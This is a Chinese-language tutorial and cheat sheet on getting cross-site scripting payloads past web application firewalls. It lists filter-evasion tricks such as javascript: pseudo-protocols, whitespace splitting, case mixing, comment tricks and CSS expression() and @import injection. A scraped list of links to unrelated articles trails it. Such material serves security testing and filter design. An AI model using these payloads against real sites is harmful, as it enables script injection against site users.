XSS之绕过WAF总结
来源《XSS跨站脚本攻击剖析与防御》&《WEB前端技术揭秘》
一、一般测试方法
步骤:
0.总则:见框就插
1.在输入框随便输入一些简单的字符,如 aaa
,方便后续查找输出位置
2.按下F12
打开开发者模式,ctrl
+F
键,搜索 aaa
3.多数情况下是在标签的value="aaa"
中,或者独立出来包含在一些别的标签中,如div
、span
等
4.根据特定情况构造payload,一般是直接构造标签
或者闭合标签再构造
或者利用伪协议
等
二、常用技巧
- 1.JS伪协议利用
形式:javascript:[代码]
示例:<table background="javascript:alert(1)"></table>
,引号可以去掉
支持伪协议的属性有:href
,lowsrc
,bgsound
,background
,action
,dynsrc
- 2.基于黑名单的过滤
① js代码 中,利用空格
,回车
,tab键
,切记只有""
包裹的js代码才可以随便利用空格、回车、tab键,例如src="java script:xxxx"
,而这样不行:src=java script:xxxx
,而且回车、换行不支持在on事件
中使用,空格可以
js引擎特性:js语句通常以分号结尾,但是如果引擎判断一条语句完整的话,且结尾有换行符,就可以省略分号
例:
var a = 1
var b = 2;
//上述语句正确
示例:<img src="javas cript:alert(1)">
,中间为tab键
用于绕过某些XSS防护
<img src="jav ascript:alert('XSS');">
也可以对TAB编码
<img src="jav ascript:alert('XSS');">
利用换行符拆解
<img src="jav
ascript:alert('XSS');">
利用回车拆解
<img src="jav
ascript:alert('XSS');">
② 大小写混淆
示例:<IMg SRc oNERRoR=aLERT(1)>
③ 编码绕过
暂无
④ 奇淫技巧
1.过滤引号
策略:双引号不行单引号;单引号不行不要引号;不要引号不行试试反引号 `(IE支持)
2.过滤空格
策略:/**/
,注释符号绕过;/
符号绕过;
例:<img/src/onerror=alert(1)>
3.属性关键词被过滤
策略:插入/**/
、\
、\0
示例:
//1.`/**/`
<img src="java/*/*javascript*/script/*javascript*/*/script:alert(1);">
//2.`\`、`\0`只能在css样式\js中使用,两者会被浏览器忽略
<style>
@\0im\port'\0ja\vasc\ript:alert(1)';
//此处用到了@import,详细@import解释在后面
</style>
4.`<!-- -->`注释绕过
`<!--<img src="--><img src onerror=alert(1)//">`
解释:
`<style><img src="</style><img src onerror=alert(1)//">`
解释:
5.利用 JSFuck 绕过关键词过滤
- 3.js事件执行代码
示例:<img src onerror=alert(1)>
js事件:onerror
,onclick
,onmouseover
,onkeydown
·········
其他事件查询:https://www.w3school.com.cn/tags/html_ref_eventattributes.asp
4.利用css跨站 (style属性或者style标签)
① 直接执行
利用的是属性中的 url ,跟伪协议相似
示例:
//1.
<div style="background-image:url(javascript:alert(1))">
//2.
<style>
body{background-image:url(javascript:alert(1));}
</style>
//3.
<div style="list-style-image:url(javascript:alert(1));">
② IE 下利用 expression
解释:expression用来吧CSS属性与js表达式关联起来,其中CSS属性可以是元素固有的属性,也可以是自定义属性,如下示例中的1、2,
示例:
//1.
<div style="width:expression(alert(1));">
//2.
<img src="#" style="xss:expression(alert(1));">
//3.
<div style="list-style-image:expression(alert(1));">
//4.
<style>
body{background-image:expression(alert(1));}
</style>
③ 引用外部css文件执行xss
示例:
//1. 利用 link 标签
<link rel="stylesheet" href="http://www.mysite.com/eval.css">
//2.利用 @import 导入
<style type="text/css"> @import url(http://www.mysite.com/eval.css);</style>
//3.@import特性--直接执行js代码
<style>
@import "javascript:alert(1)";
</style>
三、更新内容 -- 利用JS全局变量绕过XSS过滤器
原文地址:
XSS之绕过WAF总结的更多相关文章
- WAF指纹识别和XSS过滤器绕过技巧
[译文] -- “Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters” 0x1 前言 之前在乌云drop ...
- 深入了解SQL注入绕过waf和过滤机制
知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...
- SQL注入9种绕过WAF方法
SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...
- 用最短的payload绕过WAF(入门)
本文作者:jishuzhain <font color=green>想绕过一个WAF,我们可以用最短的payload来做,这里只是基础示例,望各位大佬勿喷,小弟在此谢过.</font ...
- 技术分享:杂谈如何绕过WAF(Web应用防火墙)(转)
0×01开场白 这个议题呢,主要是教大家一个思路,而不是把现成准备好的代码放给大家. 可能在大家眼中WAF(Web应用防火墙)就是"不要脸"的代名词.如果没有他,我们的" ...
- XSS插入绕过一些方式总结
详见:http://blog.csdn.net/keepxp/article/details/52054388 1 常规插入及其绕过 1.1 Script 标签 绕过进行一次移除操作: <scr ...
- 1.如何绕过WAF(Web应用防火墙)
一:大小写转换法: 看字面就知道是什么意思了,就是把大写的小写,小写的大写.比如: SQL:sEleCt vERsIoN(); XSS:)</script> 出现原因:在waf里,使用 ...
- 绕过WAF进行常见Web漏洞利用
前言 本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法. PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任 PPS:本 ...
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
随机推荐
- postman设置测试环境
有时需要我们在不同的环境下跑相同的测试,就可以通过postman设置环境 展开环境切换下拉列表,点击[Manage Environments]
- Win10下如何安装和搭建appium自动化测试环境
转:https://www.cnblogs.com/huainanhai/p/11577419.html 安装Android SDK https://www.jianshu.com/p/2acdc1d ...
- const 详解
简单分类: 常变量 const 类型 变量名 或者 类型 const 变量名 常引用 const 类型& 引用名 ...
- vue项目使用Vant框架Rem适配(postcss-pxtorem、lib-flexible )的安装使用
1.下载lib-flexible 使用的是vue-cli+webpack,通过npm来安装的 npm i lib-flexible --save 2.引入lib-flexible 在main.js中引 ...
- Python - 变量的作用域
变量作用域 Python能够改变变量作用域的代码段是 def . class . lamda. if/elif/else.try/except/finally.for/while 并不能涉及变量作用域 ...
- go例子(三) 使用context实现发牌手策略
使用context包实现发牌手策略, 发牌手策略:罗永浩在介绍TNT工作站时描述,将一个任务分发给多个处理者处理,谁先处理完使用谁的结果,取消其他的处理者的任务. 经典的例子:同时在百度.google ...
- OO课程的完结,软件工程学习的开始
目录 UML小结 阅读学习 大象:Thinking in UML UML精粹 UML和模式应用 本单元作业的架构设计 四个单元中架构设计及OO方法的演进 四个单元中测试与实践的演进 课程收获 三个具体 ...
- Linux常用命令 - wget命令详解(重点)
21篇测试必备的Linux常用命令,每天敲一篇,每次敲三遍,每月一循环,全都可记住!! https://www.cnblogs.com/poloyy/category/1672457.html 下载i ...
- python爬虫之beautifulsoup的使用
一.Beautiful Soup的简介 简单来说,Beautiful Soup是python的一个库,最主要的功能是从网页抓取数据.官方解释:Beautiful Soup提供一些简单的.python式 ...
- MySQl数据类型和条件限制
数据库的增删改查已经介绍完毕,今天从表的详细操作开始讲解 表操作 今日内容 1.数据类型 建表的时候,字段都有对应的数据类型 整型 浮点型 字符类型(char与varchar) 日期类型 枚举与集合 ...